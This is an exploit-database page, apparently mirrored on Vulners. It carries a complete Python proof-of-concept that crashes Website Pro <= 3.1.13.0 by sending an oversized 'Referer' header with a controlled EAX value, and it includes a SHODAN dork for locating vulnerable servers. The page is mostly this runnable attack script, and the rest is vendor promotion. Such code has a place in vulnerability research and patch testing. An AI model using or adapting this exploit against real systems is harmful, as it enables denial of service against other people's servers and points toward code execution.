Lucene search
K

Website Pro <= 3.1.13.0 "Referer:" Remote Buffer Overflow Crash PoC

🗓️ 22 Mar 2012 00:00:00Reported by localh0tType 
zdt
 zdt
🔗 0day.today👁 12 Views

Website Pro <= 3.1.13.0 "Referer:" Remote Buffer Overflow Crash PoC written to trigger buffer overflow crash in Website Pro <= 3.1.13.0 by sending a crafted "Referer" header

Code
#!/usr/bin/python

# Website Pro <= 3.1.13.0 "Referer:" Remote Buffer Overflow Crash PoC
# written by localh0t
# SHODAN Dork: "Server: Website/3.1"
# Date: 22/04/12
# Contact: [email protected]
# Follow: @mattdch
# www.localh0t.com.ar
# Greetz: Inj3ct0r 1337day Exploit DataBase   1337day.com

# Note: The crash occurs when the application tries to write ECX (0x00000000) into the address that contains EAX (we control EAX) (0xBAADBEEF)
# Possible explotable, not tested yet.

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
	print "\nWebsite Pro <= 3.1.13.0 \"Referer:\" Remote Buffer Overflow Crash PoC"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()


print "\n[!] Connecting to %s ..." %(sys.argv[1])

sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))

print "[!] Sending payload..."

payload = "A" * 996
payload += "\xEF\xBE\xAD\xBA" # EAX
payload += "C" * 2000
buffer = "OPTIONS / HTTP/1.1\r\n"
sock.send(buffer)
buffer = "Host: localhost\r\n"
sock.send(buffer)
buffer = "Referer: " + payload + "\r\n\r\n"
sock.send(buffer)

sock.close()
print "[!] Exploit succeed. Target should crashed."

sys.exit()



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Mar 2012 00:00Current
7High risk
Vulners AI Score7
12